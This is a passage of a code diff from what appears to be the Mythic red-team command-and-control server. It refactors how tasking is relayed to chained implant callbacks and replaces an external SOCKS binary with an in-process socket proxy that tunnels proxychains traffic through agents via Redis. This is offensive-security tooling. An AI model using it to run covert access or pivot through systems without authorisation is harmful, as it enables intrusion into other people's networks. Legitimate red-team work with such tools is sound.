+ for k, v in temp_callback_tasks.items():
+ #print(k)
+ #print(v)
+ tasks = []
+ for t in v["tasks"]:
+ t.status = "processing"
+ t.status_timestamp_processing = datetime.utcnow()
+ t.timestamp = t.status_timestamp_processing
+ t.callback.last_checkin = datetime.utcnow()
+ await app.db_objects.update(t.callback)
+ await app.db_objects.update(t)
+ tasks.append(
+ {
+ "command": t.command.cmd,
+ "parameters": t.params,
+ "id": t.agent_task_id,
+ "timestamp": t.timestamp.timestamp(),
+ }
+ )
+ # now that we have all the tasks we're going to send, make the message
+ message = {"action": "get_tasking", "tasks": tasks}
+ # now wrap this message up like it's going to be sent out, first level is just normal
+ #print(v["edges"])
+ #print(v["path"])
+ enc_key = await get_encryption_data(v["path"][0].agent_callback_id, v["edges"][0].c2_profile.name)
+ logger.info(
+ "Got encryption data for linked callback, about to send off {} to create_final_message".format(
+ str(message)))
+ final_msg = await create_final_message_from_data_and_profile_info(message,
+ enc_key,
+ v["path"][0].agent_callback_id,
+ request)
+ if final_msg is None:
+ message = {}
else:
- temp.add_edge(e.source, e.destination, 1)
- temp.add_edge(e.destination, e.source, 1)
- query = await db_model.c2profile_query()
- profiles = await db_objects.execute(
- query.where(db_model.C2Profile.is_p2p == False)
- )
- for p in profiles:
- temp.add_edge(p, "Mythic", 1)
- temp.add_edge("Mythic", p, 1)
- current_non_directed_graphs[operation.name] = temp
- except Exception as e:
- print(str(e))
- return
-
-
-async def add_non_directed_graphs(e):
- if e.source.operation.name not in current_non_directed_graphs:
- current_non_directed_graphs[e.source.operation.name] = Graph()
- try:
- if e.source == e.destination:
- current_non_directed_graphs[e.source.operation.name].add_edge(
- e.source, e.c2_profile, 1
- )
- current_non_directed_graphs[e.source.operation.name].add_edge(
- e.c2_profile, e.source, 1
- )
- else:
- current_non_directed_graphs[e.source.operation.name].add_edge(
- e.source, e.destination, 1
- )
- current_non_directed_graphs[e.source.operation.name].add_edge(
- e.destination, e.source, 1
- )
- except Exception as e:
- print(str(e))
- return
-
-
-async def remove_non_directed_graphs(e):
- if e.source.operation.name not in current_non_directed_graphs:
- current_non_directed_graphs[e.source.operation.name] = Graph()
- try:
- if e.source == e.destination:
- current_non_directed_graphs[e.source.operation.name].remove_edge(
- e.source, e.c2_profile
- )
- current_non_directed_graphs[e.source.operation.name].remove_edge(
- e.c2_profile, e.source
- )
+ if not isinstance(final_msg, str):
+ final_msg = final_msg.decode()
+ message = {
+ "message": final_msg,
+ "uuid": v["path"][0].agent_callback_id
+ }
+ # we don't need to do this wrapping for the last in the list since that's the egress node asking for tasking
+ for cal in v["edges"][1:]:
+ message = {"action": "get_tasking", "tasks": [], "delegates": [message]}
+ logger.info("destination agent: " + cal.destination.agent_callback_id)
+ logger.info("source agent: " + cal.source.agent_callback_id)
+ enc_key = await get_encryption_data(cal.destination.agent_callback_id, cal.c2_profile.name)
+ logger.info(
+ "Got encryption data for linked callback in for loop, about to send off {} to create_final_message".format(
+ str(message)))
+ final_msg = await create_final_message_from_data_and_profile_info(message,
+ enc_key,
+ cal.destination.agent_callback_id,
+ request)
+ if final_msg is None:
+ message = {}
+ else:
+ if not isinstance(final_msg, str):
+ final_msg = final_msg.decode()
+ logger.info("setting final target uuid of message: " + cal.destination.agent_callback_id)
+ message = {
+ "message": final_msg,
+ "uuid": cal.destination.agent_callback_id
+ }
+ #print(message)
+ delegates.append(message)
+ # print(delegates)
+ if len(delegates) == 0:
+ return None
else:
- current_non_directed_graphs[e.source.operation.name].remove_edge(
- e.source, e.destination
- )
- current_non_directed_graphs[e.source.operation.name].remove_edge(
- e.destination, e.source
- )
+ return delegates
except Exception as e:
- print(str(e))
- return
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to get delegate messages {str(sys.exc_info()[-1].tb_lineno) +str(e)}",
+ level="warning", source="get_delegate_messages", operation=requester.operation))
+ return None
@mythic.route(
- mythic.config["API_BASE"] + "/callbacks/edges/", methods=["DELETE"]
+ mythic.config["API_BASE"] + "/callbacks/edges/", methods=["DELETE"]
)
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def remove_graph_edge(request, id, user):
+async def remove_graph_edge(request, eid, user):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -1003,12 +1155,10 @@ async def remove_graph_edge(request, id, user):
{"status": "error", "error": "Spectators cannot remove graph edges"}
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- edge_query = await db_model.callbackgraphedge_query()
- edge = await db_objects.get(edge_query, id=id, operation=operation)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ edge = await app.db_objects.get(db_model.callbackgraphedge_query, id=eid, operation=operation)
edge.end_timestamp = datetime.utcnow()
- await db_objects.update(edge)
+ await app.db_objects.update(edge)
return json({"status": "success"})
except Exception as e:
return json({"status": "error", "error": "Failed to update: " + str(e)})
@@ -1018,92 +1168,93 @@ async def remove_graph_edge(request, id, user):
async def start_socks(port: int, callback: Callback, task: Task):
- # print("starting socks")
+ print("starting socks")
try:
- query = await db_model.callback_query()
- socks_instance = await db_objects.get(
- query.where(
- (db_model.Callback.port == port) | (db_model.Callback.port + 1 == port)
- )
- )
+ socks_instance = await app.db_objects.get(db_model.callback_query, port=port)
return {"status": "error", "error": "socks already started on that port"}
except:
# we're not using this port, so we can use it
+ if app.redis_pool.exists(f"SOCKS_RUNNING:{callback.id}"):
+ app.redis_pool.delete(f"SOCKS_RUNNING:{callback.id}")
+ kill_socks_processes(callback.id)
pass
- # now actually start the binary
- # f = open("socks_logs.txt", "w")
- process = subprocess.Popen(
- ["./socks_server/goserver", str(port), str(port + 1)],
- stdout=subprocess.PIPE,
- stderr=subprocess.STDOUT,
- )
- await sleep(3)
- process.poll()
- if process.returncode is not None:
- stdout, stderr = process.communicate()
- message = (
- "Failed to start proxy on port "
- + str(port)
- + ". Got error code: "
- + str(process.returncode)
- + "\nstdout: "
- + str(stdout)
- + "\nstderr: "
- + str(stderr)
- )
- await db_objects.create(
+ server_address = ("0.0.0.0", port)
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+ try:
+ sock.bind(server_address)
+ except Exception as e:
+ return {"status": "error", "error": "failed to bind to socket: " + str(e)}
+ try:
+ app.redis_pool.set(f"SOCKS_RUNNING:{callback.id}", "True")
+ callback.port = port
+ callback.socks_task = task
+ await app.db_objects.update(callback)
+ cached_socks[callback.id] = {
+ "socket": sock,
+ "connections": {},
+ "thread": threading.Thread(
+ target=thread_read_socks,
+ kwargs={"port": port, "callback_id": callback.id, "sock": sock},
+ ),
+ }
+ cached_socks[callback.id]["thread"].start()
+ await app.db_objects.create(
db_model.OperationEventLog,
operator=task.operator,
operation=callback.operation,
- message=message,
- level="error",
+ message="Started socks proxy on port {} in callback {}".format(
+ str(port), str(callback.id)
+ ),
)
- return {"status": "error", "error": "failed to start socks proxy"}
- callback.port = port
- callback.socks_task = task
- await db_objects.update(callback)
- cached_socks[callback.id] = {
- "process": process,
- "queue": deque(),
- "thread": threading.Thread(
- target=thread_read_socks,
- kwargs={"port": port + 1, "callback_id": callback.id},
- ),
- }
- cached_socks[callback.id]["thread"].start()
- await db_objects.create(
- db_model.OperationEventLog,
- operator=task.operator,
- operation=callback.operation,
- message="Started socks proxy on port {} in callback {}".format(
- str(port), str(callback.id)
- ),
- )
- # print("started socks")
+
+ print("started socks")
+ except Exception as e:
+ return {"status": "error", "error": str(e)}
return {"status": "success"}
-async def stop_socks(callback: Callback, operator):
- if callback.id in cached_socks:
- try:
- cached_socks[callback.id]["thread"].exit()
- except:
- pass
- try:
- cached_socks[callback.id]["socket"].close()
- except:
- pass
- try:
- cached_socks[callback.id]["process"].terminate()
- except:
- pass
+def kill_socks_processes(callback_id: int):
+ try:
+ cached_socks[callback_id]["thread"].exit()
+ except:
+ pass
+ try:
+ for key, con in cached_socks[callback_id]["connections"].items():
+ try:
+ con["connection"].shutdown(socket.SHUT_RDWR)
+ con["connection"].close()
+ except Exception:
+ print("failed to close a connection from proxychains")
+ except Exception as e:
+ logger.warning("exception in looping through connections in kill_socks_processes: " + str(e))
+ try:
+ cached_socks[callback_id]["socket"].shutdown(socket.SHUT_RDWR)
+ cached_socks[callback_id]["socket"].close()
+ except Exception as e:
+ logger.warning("exception trying to kill socket in kill_socks_processes: " + str(e))
+ try:
+ del cached_socks[callback_id]
+ except:
+ pass
+ try:
+ app.redis_pool.delete(f"SOCKS:{callback_id}:ToAgent")
+ except:
+ pass
+ try:
+ app.redis_pool.delete(f"SOCKS:{callback_id}:FromAgent")
+ except:
+ pass
+
- del cached_socks[callback.id]
+async def stop_socks(callback: Callback, operator):
+ app.redis_pool.delete(f"SOCKS_RUNNING:{callback.id}")
+ kill_socks_processes(callback.id)
try:
port = callback.port
callback.port = None
- await db_objects.update(callback)
- await db_objects.create(
+ await app.db_objects.update(callback)
+ await app.db_objects.create(
db_model.OperationEventLog,
operator=operator,
operation=callback.operation,
@@ -1111,151 +1262,194 @@ async def stop_socks(callback: Callback, operator):
str(port), str(callback.id)
),
)
+ try:
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
+ s.settimeout(0)
+ s.connect( ("127.0.0.1", port))
+ s.shutdown(socket.SHUT_RDWR)
+ s.close()
+ except Exception as s:
+ logger.warning("Failed to connect to current socket to issue a kill: " + str(s))
+
return {"status": "success"}
except Exception as e:
return {"status": "error", "error": "failed to find socks instance: " + str(e)}
-async def start_all_socks_after_restart():
- query = await db_model.callback_query()
- socks_instance = await db_objects.execute(
- query.where(db_model.Callback.port != None)
- )
- for s in socks_instance:
- # now actually start the binary
- # f = open("socks_logs.txt", "w")
- process = subprocess.Popen(
- ["./socks_server/goserver", str(s.port), str(s.port + 1)],
- stdout=subprocess.PIPE,
- stderr=subprocess.STDOUT,
- )
- await sleep(3)
- process.poll()
- if process.returncode is not None:
- stdout, stderr = process.communicate()
- message = (
- "Failed to start proxy on port "
- + str(s.port)
- + ". Got error code: "
- + str(process.returncode)
- + "\nstdout: "
- + str(stdout)
- + "\nstderr: "
- + str(stderr)
- )
- await db_objects.create(
- db_model.OperationEventLog,
- operator=s.socks_task.operator,
- operation=s.operation,
- message=message,
- level="error",
- )
- cached_socks[s.id] = {
- "process": process,
- "queue": deque(),
- "thread": threading.Thread(
- target=thread_read_socks,
- kwargs={"port": s.port + 1, "callback_id": s.id},
- ),
- }
- cached_socks[s.id]["thread"].start()
- await db_objects.create(
- db_model.OperationEventLog,
- operator=s.socks_task.operator,
- operation=s.operation,
- message="Started socks proxy on port {} in callback {}".format(
- str(s.port), str(s.id)
- ),
- )
-
-
-async def send_socks_data(data, callback: Callback):
- try:
- total_msg = b''
- for d in data:
- if callback.id in cached_socks:
- msg = js.dumps(d).encode()
- #print("******* SENDING DATA BACK TO PROXYCHAINS *****")
- #print(msg)
- msg = int.to_bytes(len(msg), 4, "big") + msg
- total_msg += msg
- # cached_socks[callback.id]['socket'].sendall(int.to_bytes(len(msg), 4, "big"))
- #else:
- #print("****** NO CACHED SOCKS, MUST BE CLOSED *******")
- cached_socks[callback.id]["socket"].sendall(total_msg)
- return {"status": "success"}
- except Exception as e:
- #print("******** EXCEPTION IN SEND SOCKS DATA *****\n{}".format(str(e)))
- return {"status": "error", "error": str(e)}
+def thread_send_socks_data(callback_id: int):
+ while True:
+ try:
+ if not app.redis_pool.exists(f"SOCKS_RUNNING:{callback_id}"):
+ kill_socks_processes(callback_id)
+ return
+ sub_class = app.redis_pool.pubsub(ignore_subscribe_messages=True)
+ sub_class.subscribe(f"SOCKS:{callback_id}:FromAgent")
+ for message in sub_class.listen():
+ if not app.redis_pool.exists(f"SOCKS_RUNNING:{callback_id}"):
+ kill_socks_processes(callback_id)
+ return
+ print("******* SENDING THE FOLLOWING TO PROXYCHAINS *******")
+ print(message)
+ if message["type"] == "message":
+ data = js.loads(message["data"])
+ for d in data:
+ print("processing the following to go to proxychains")
+ print(d)
+ if callback_id in cached_socks:
+ if d["server_id"] in cached_socks[callback_id]["connections"]:
+ conn = cached_socks[callback_id]["connections"][d["server_id"]]
+ if d["exit"]:
+ print("agent tasked mythic to close connection")
+ cached_socks[callback_id]["connections"].pop(d["server_id"], None)
+ try:
+ conn["connection"].shutdown(socket.SHUT_RDWR)
+ conn["connection"].close()
+ except Exception as d:
+ print("error trying to close connection that agent told me to close: " + str(d))
+ pass
+ else:
+ conn["connection"].sendall(base64.b64decode(d["data"]))
+ else:
+ # we don't have d["server_id"] tracked as an active connection, so unless they said to kill it, tell them to kill it
+ #print("got message for something we aren't tracking")
+ if not d["exit"]:
+ print("telling agent to kill connection")
+ app.redis_pool.rpush(f"SOCKS:{callback_id}:ToAgent", js.dumps({
+ "exit": True,
+ "server_id": d["server_id"],
+ "data": ""
+ }))
+ else:
+ # we no longer have that callback_id in our cache, so we tried to exit, so exit this
+ return
+ except Exception as e:
+ print("******** EXCEPTION IN SEND SOCKS DATA *****\n{}".format(str(e)))
+ #print(cached_socks[callback.id]["connections"])
async def get_socks_data(callback: Callback):
+ # called during a get_tasking function
data = []
- if callback.port is not None:
- if callback.id in cached_socks:
- while True:
- try:
- data.append(cached_socks[callback.id]["queue"].popleft())
- #print("Just got socks data to give to agent")
- except:
- break
- #if len(data) > 0:
- #print("******* SENDING THE FOLLOWING TO THE AGENT ******")
- #print(data)
+ while True:
+ try:
+ d = app.redis_pool.lpop(f"SOCKS:{callback.id}:ToAgent")
+ if d is None:
+ break
+ print("agent picking up data from callback queue")
+ print(d)
+ data.append(js.loads(d))
+ #data.append(cached_socks[callback.id]["queue"].popleft())
+ except Exception as e:
+ print("exception in get_socks_data for an agent: " + str(e))
+ break
+ if len(data) > 0:
+ print("******* SENDING THE FOLLOWING TO THE AGENT ******")
+ print(data)
return data
-def thread_read_socks(port: int, callback_id: int) -> None:
+# accept connections from proxychains clients
+def thread_read_socks(port: int, callback_id: int, sock: socket) -> None:
# print(port)
# print(callback_id)
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- # Connect the socket to the port where the server is listening
- server_address = ("localhost", port)
- sock.connect(server_address)
- # sock.settimeout(2)
+ sock.listen(1)
+ id = 1
try:
- cached_socks[callback_id]["socket"] = sock
- except Exception as e:
- sock.close()
- return
- while True:
- #print("in thread loop")
+ #print("waiting to accept connections")
+ # spin off a thread to handle messages from agent to connections
+ toAgentThread = threading.Thread(target=thread_send_socks_data, kwargs={"callback_id": callback_id})
+ toAgentThread.start()
+ while callback_id in cached_socks:
+ connection, client_address = sock.accept()
+ if not app.redis_pool.exists(f"SOCKS_RUNNING:{callback_id}"):
+ kill_socks_processes(callback_id)
+ return
+ #print("got new connection for " + str(id))
+ conn_sock = {
+ "connection": connection,
+ "thread_read": threading.Thread(
+ target=thread_get_socks_data_from_connection,
+ kwargs={"port": port, "connection": connection, "callback_id": callback_id, "connection_id": id}
+ ),
+
+ }
+ cached_socks[callback_id]["connections"][id] = conn_sock
+ cached_socks[callback_id]["connections"][id]["thread_read"].start()
+ id = id + 1
+ except Exception:
try:
- # print("about to get size")
- size = sock.recv(4)
- if len(size) == 4:
- size = int.from_bytes(size, "big")
- elif len(size) == 0:
- tsleep(1)
- continue
- # print("now trying to read in: {} bytes".format(str(size)))
- msg = sock.recv(size)
- try:
- cached_socks[callback_id]["queue"].append(js.loads(msg.decode()))
- #print("just read from proxychains and added to queue for agent to pick up")
- except Exception as d:
- if callback_id not in cached_socks:
- #print("*" * 10 + "Got closing socket" + "*" * 10)
- sock.close()
- #print("thread exiting")
- return
+ kill_socks_processes(callback_id)
except Exception as e:
- #print("*" * 10 + "Got exception from reading socket data" + "*" * 10)
- #print(e)
- if callback_id not in cached_socks:
- #print("*" * 10 + "Got closing socket" + "*" * 10)
- sock.close()
- #print("thread exiting")
- return
- tsleep(1)
+ pass
+ #print("exception in accepting new socket connections!!!!!")
-@mythic.route(mythic.config["API_BASE"] + "/callbacks/", methods=["GET"])
+def thread_get_socks_data_from_connection(port: int, connection: socket, callback_id: int, connection_id: int):
+ try:
+ #print("reading 4 bytes and sending 05 00")
+ data_raw = connection.recv(4)
+ #print(str(data))
+ connection.sendall(b'\x05\x00')
+ #connection.settimeout(2)
+ #print("wait to read data from connection for: " + str(connection_id))
+ while callback_id in cached_socks and connection_id in cached_socks[callback_id]["connections"]:
+ #data = None
+ #print("about to call connection.recv on connection " + str(connection_id))
+ data_raw = connection.recv(8192)
+ if not data_raw:
+ # this means our connection just closed, tell the agent to close their end
+ #print("data_raw is none for connection " + str(connection_id))
+ app.redis_pool.rpush(f"SOCKS:{callback_id}:ToAgent", js.dumps({
+ "exit": True,
+ "server_id": connection_id,
+ "data": ""
+ }))
+ cached_socks[callback_id]["connections"].pop(connection_id, None)
+ try:
+ connection.shutdown(socket.SHUT_RDWR)
+ connection.close()
+ except Exception as d:
+ #print("error trying to close connection that agent told me to close: " + str(d))
+ pass
+ return
+ data = base64.b64encode(data_raw).decode()
+ #print("++++++appending data to ToAgent for " + str(connection_id))
+ #print(data)
+ app.redis_pool.rpush(f"SOCKS:{callback_id}:ToAgent", js.dumps({
+ "exit": False,
+ "server_id": connection_id,
+ "data": data
+ }))
+ #cached_socks[callback_id]["queue"].append({
+ # "exit": False,
+ # "server_id": connection_id,
+ # "data": data
+ #})
+ #print("wait to read more data from connection for: " + str(connection_id))
+ #print("no longer in while loop for connection: " + str(connection_id))
+ #print(cached_socks[callback_id]["connections"])
+ except Exception:
+ #print("failed to read from proxychains client, sending exit to agent")
+ if callback_id in cached_socks and connection_id in cached_socks[callback_id]["connections"]:
+ #print("adding exit message to redis")
+ app.redis_pool.rpush(f"SOCKS:{callback_id}:ToAgent", js.dumps({
+ "exit": True,
+ "server_id": connection_id,
+ "data": ""
+ }))
+ #cached_socks[callback_id]["queue"].append({
+ # "exit": True,
+ # "server_id": connection_id,
+ # "data": ""
+ #})
+
+
+@mythic.route(mythic.config["API_BASE"] + "/callbacks/", methods=["GET"])
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def get_one_callback(request, id, user):
+async def get_one_callback(request, cid, user):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -1264,14 +1458,14 @@ async def get_one_callback(request, id, user):
try:
if user["current_operation"] == "":
return json({"status": "error", "error": "must be part of an operation"})
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.callback_query()
- callback = await db_objects.get(query, id=id, operation=operation)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ callback = await app.db_objects.prefetch(db_model.callback_query.where(
+ (db_model.Callback.id == cid) & (db_model.Callback.operation == operation)
+ ), db_model.callbacktoken_query)
+ callback = list(callback)[0]
return_json = callback.to_json()
- query = await db_model.loadedcommands_query()
- loaded_commands = await db_objects.execute(
- query.where(LoadedCommands.callback == callback)
+ loaded_commands = await app.db_objects.execute(
+ db_model.loadedcommands_query.where(LoadedCommands.callback == callback)
)
return_json["loaded_commands"] = [
{
@@ -1281,15 +1475,23 @@ async def get_one_callback(request, id, user):
}
for lc in loaded_commands
]
- query = await db_model.callbackc2profiles_query()
- callbackc2profiles = await db_objects.execute(
- query.where(db_model.CallbackC2Profiles.callback == callback)
+ script_commands = await app.db_objects.execute(db_model.command_query.where(
+ (db_model.Command.payload_type == callback.registered_payload.payload_type) &
+ (db_model.Command.script_only == True)
+ ))
+ for c in script_commands:
+ return_json["loaded_commands"].append(
+ {"command": c.cmd,
+ "version": c.version,
+ "mythic_version": c.version}
+ )
+ callbackc2profiles = await app.db_objects.execute(
+ db_model.callbackc2profiles_query.where(db_model.CallbackC2Profiles.callback == callback)
)
c2_profiles_info = {}
for c2p in callbackc2profiles:
- query = await db_model.c2profileparametersinstance_query()
- c2_profile_params = await db_objects.execute(
- query.where(
+ c2_profile_params = await app.db_objects.execute(
+ db_model.c2profileparametersinstance_query.where(
(db_model.C2ProfileParametersInstance.callback == callback)
& (
db_model.C2ProfileParametersInstance.c2_profile
@@ -1300,184 +1502,194 @@ async def get_one_callback(request, id, user):
params = [p.to_json() for p in c2_profile_params]
c2_profiles_info[c2p.c2_profile.name] = params
return_json["c2_profiles"] = c2_profiles_info
- query = await db_model.buildparameterinstance_query()
- build_parameters = await db_objects.execute(
- query.where(
+ build_parameters = await app.db_objects.execute(
+ db_model.buildparameterinstance_query.where(
db_model.BuildParameterInstance.payload == callback.registered_payload
)
)
build_params = [t.to_json() for t in build_parameters]
return_json["build_parameters"] = build_params
return_json["payload_uuid"] = callback.registered_payload.uuid
- return_json["payload_name"] = callback.registered_payload.file_id.filename
+ return_json["payload_name"] = bytes(callback.registered_payload.file.filename).decode("utf-8")
return_json["status"] = "success"
- paths = await path_to_callback(callback)
- return_json["path"] = [str(p) for p in paths]
+ paths = await path_to_callback(callback, "Mythic")
+ return_json["path"] = [str(p) if p == "Mythic" else js.dumps(p.to_json()) for p in paths]
return json(return_json)
except Exception as e:
- print(e)
+ logger.warning("callback_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json(
{"status": "error", "error": "failed to get callback: " + str(e)}, 200
)
-@mythic.route(mythic.config["API_BASE"] + "/callbacks/", methods=["PUT"])
+@mythic.route(mythic.config["API_BASE"] + "/update_callback_webhook", methods=["POST"])
@inject_user()
-@scoped(["auth:user", "auth:apitoken_user", "auth:apitoken_c2"], False)
-async def update_callback_web(request, id, user):
+@scoped(
+ ["auth:user", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def update_callback_webhook(request, user):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
- if user["view_mode"] == "spectator" or user["current_operation"] == "":
- return json({"status": "error", "error": "Spectators cannot update callbacks"})
- data = request.json
+ # some commands can optionally upload files or indicate files for use
+ # if they are uploaded here, process them first and substitute the values with corresponding file_id numbers
+ if user["current_operation"] == "":
+ return json(
+ {"status": "error", "error": "Must be part of a current operation first"}
+ )
+ if user["view_mode"] == "spectator":
+ return json({"status": "error", "error": "Spectators cannot issue tasking"})
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.callback_query()
- cal = await db_objects.get(query, id=id, operation=operation)
- if "description" in data:
- if data["description"] == "reset":
- # set the description back to what it was from the payload
- cal.description = cal.registered_payload.tag
- else:
- cal.description = data["description"]
- if "active" in data:
- if data["active"] == "true":
- if not cal.active:
- c2_query = await db_model.callbackc2profiles_query()
- c2profiles = await db_objects.execute(
- c2_query.where(db_model.CallbackC2Profiles.callback == cal)
- )
- for c2 in c2profiles:
- if not c2.c2_profile.is_p2p:
- try:
- edge = await db_objects.get(
- db_model.CallbackGraphEdge,
- source=cal,
- destination=cal,
- c2_profile=c2.c2_profile,
- direction=1,
- end_timestamp=None,
- operation=cal.operation,
- )
- except Exception as d:
- print(d)
- edge = await db_objects.create(
- db_model.CallbackGraphEdge,
- source=cal,
- destination=cal,
- c2_profile=c2.c2_profile,
- direction=1,
- end_timestamp=None,
- operation=cal.operation,
- )
- await add_non_directed_graphs(edge)
- await add_directed_graphs(edge)
- cal.active = True
- elif data["active"] == "false":
- if cal.active:
- edge_query = await db_model.callbackgraphedge_query()
- try:
- edges = await db_objects.execute(
- edge_query.where(
- (db_model.CallbackGraphEdge.source == cal)
- & (db_model.CallbackGraphEdge.destination == cal)
- & (db_model.CallbackGraphEdge.end_timestamp == None)
- & (
- db_model.CallbackGraphEdge.operation
- == cal.operation
- )
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
+ except Exception as e:
+ return json(
+ {
+ "status": "error",
+ "error": "failed to get the current user's info from the database",
+ }
+ )
+ try:
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ except Exception as e:
+ return json({"status": "error", "error": "failed to get the current operation"})
+ try:
+ data = request.json["input"]["input"]
+ print(data)
+ cb = await app.db_objects.get(db_model.callback_query, id=data["callback_id"], operation=operation)
+ return json(await update_callback_active_lock(user, request, cb, data))
+ except Exception as e:
+ return json({"status": "error", "error": "failed to get callback: " + str(e)})
+
+
+async def update_callback_active_lock(user, request, cal, data):
+ if "description" in data:
+ if data["description"] == "reset":
+ # set the description back to what it was from the payload
+ cal.description = cal.registered_payload.tag
+ else:
+ cal.description = data["description"]
+ if "active" in data:
+ if data["active"]:
+ if not cal.active:
+ c2profiles = await app.db_objects.execute(
+ db_model.callbackc2profiles_query.where(db_model.CallbackC2Profiles.callback == cal)
+ )
+ for c2 in c2profiles:
+ if not c2.c2_profile.is_p2p:
+ try:
+ edge = await app.db_objects.get(
+ db_model.CallbackGraphEdge,
+ source=cal,
+ destination=cal,
+ c2_profile=c2.c2_profile,
+ direction=1,
+ end_timestamp=None,
+ operation=cal.operation,
)
+ except Exception as d:
+ print(d)
+ edge = await app.db_objects.create(
+ db_model.CallbackGraphEdge,
+ source=cal,
+ destination=cal,
+ c2_profile=c2.c2_profile,
+ direction=1,
+ end_timestamp=None,
+ operation=cal.operation,
+ )
+ cal.active = True
+ else:
+ if cal.active:
+ try:
+ edges = await app.db_objects.execute(
+ db_model.callbackgraphedge_query.where(
+ (db_model.CallbackGraphEdge.source == cal)
+ & (db_model.CallbackGraphEdge.destination == cal)
+ & (db_model.CallbackGraphEdge.end_timestamp == None)
+ & (db_model.CallbackGraphEdge.operation == cal.operation)
)
- for edge in edges:
- if not edge.c2_profile.is_p2p:
- edge.end_timestamp = datetime.utcnow()
- await db_objects.update(edge)
- await remove_non_directed_graphs(edge)
- await remove_directed_graphs(edge)
- except Exception as d:
- print(
- "error trying to add end-timestamps to edges when going inactive"
- )
- print(d)
- cal.active = False
- if "encryption_type" in data:
- cal.encryption_type = data["encryption_type"]
- if "encryption_key" in data:
- cal.encryption_key = data["encryption_key"]
- if "decryption_key" in data:
- cal.decryption_key = data["decryption_key"]
- if "locked" in data:
- if cal.locked and not data["locked"]:
- # currently locked and trying to unlock, must be admin, admin of that operation, or the user that did it
- if (
+ )
+ for edge in edges:
+ if not edge.c2_profile.is_p2p:
+ edge.end_timestamp = datetime.utcnow()
+ await app.db_objects.update(edge)
+ except Exception as d:
+ logger.warning(
+ "callback_api.py - error trying to add end-timestamps to edges when going inactive"
+ )
+ logger.warning("callback_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(d))
+ cal.active = False
+ if "locked" in data:
+ if cal.locked and not data["locked"]:
+ # currently locked and trying to unlock, must be admin, admin of that operation, or the user that did it
+ if (
user["admin"]
or cal.operation.name in user["admin_operations"]
or user["username"] == cal.locked_operator.username
- ):
- cal.locked = False
- cal.locked_operator = None
- else:
- await db_objects.update(cal)
- return json(
- {"status": "error", "error": "Not authorized to unlock"}
- )
- elif not cal.locked and data["locked"]:
- # currently unlocked and wanting to lock it
- if (
+ ):
+ cal.locked = False
+ cal.locked_operator = None
+ else:
+ await app.db_objects.update(cal)
+ return json(
+ {"status": "error", "error": "Not authorized to unlock"}
+ )
+ elif not cal.locked and data["locked"]:
+ # currently unlocked and wanting to lock it
+ if (
user["admin"]
or cal.operation.name in user["operations"]
or cal.operation.name in user["admin_operations"]
- ):
- cal.locked = True
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
- cal.locked_operator = operator
- else:
- await db_objects.update(cal)
- return json({"status": "error", "error": "Not authorized to lock"})
- if "parent" in data:
- try:
- if data["parent"] == -1:
- # this means to remove the current parent
- cal.pcallback = None
- else:
- query = await db_model.callback_query()
- parent = await db_objects.get(
- query, id=data["parent"], operation=operation
- )
- if parent.id == cal.id:
- return json(
- {"status": "error", "error": "cannot set parent = child"}
- )
- cal.pcallback = parent
- except Exception as e:
- return json(
- {
- "status": "error",
- "error": "failed to set parent callback: " + str(e),
- }
- )
- await db_objects.update(cal)
- success = {"status": "success"}
+ ):
+ cal.locked = True
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
+ cal.locked_operator = operator
+ else:
+ await app.db_objects.update(cal)
+ return json({"status": "error", "error": "Not authorized to lock"})
+ await app.db_objects.update(cal)
+ return {"status": "success"}
+
+
+@mythic.route(mythic.config["API_BASE"] + "/callbacks/", methods=["PUT"])
+@inject_user()
+@scoped(["auth:user", "auth:apitoken_user", "auth:apitoken_c2"], False)
+async def update_callback_web(request, cid, user):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ if user["view_mode"] == "spectator" or user["current_operation"] == "":
+ return json({"status": "error", "error": "Spectators cannot update callbacks"})
+ data = request.json
+ try:
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ cal = await app.db_objects.prefetch(db_model.callback_query.where(
+ (db_model.Callback.id == cid) & (db_model.Callback.operation == operation)
+ ), db_model.callbacktoken_query)
+ cal = list(cal)[0]
updated_cal = cal.to_json()
- return json({**success, **updated_cal})
+ status = await update_callback_active_lock(user, request, cal, data)
+ if status["status"] == "success":
+ return json({**status, **updated_cal})
+ else:
+ return json(status)
except Exception as e:
- print(e)
+ logger.warning("callback_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json(
{"status": "error", "error": "failed to update callback: " + str(e)}
)
-@mythic.route(mythic.config["API_BASE"] + "/callbacks/", methods=["DELETE"])
+@mythic.route(mythic.config["API_BASE"] + "/callbacks/", methods=["DELETE"])
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def remove_callback(request, id, user):
+async def remove_callback(request, cid, user):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
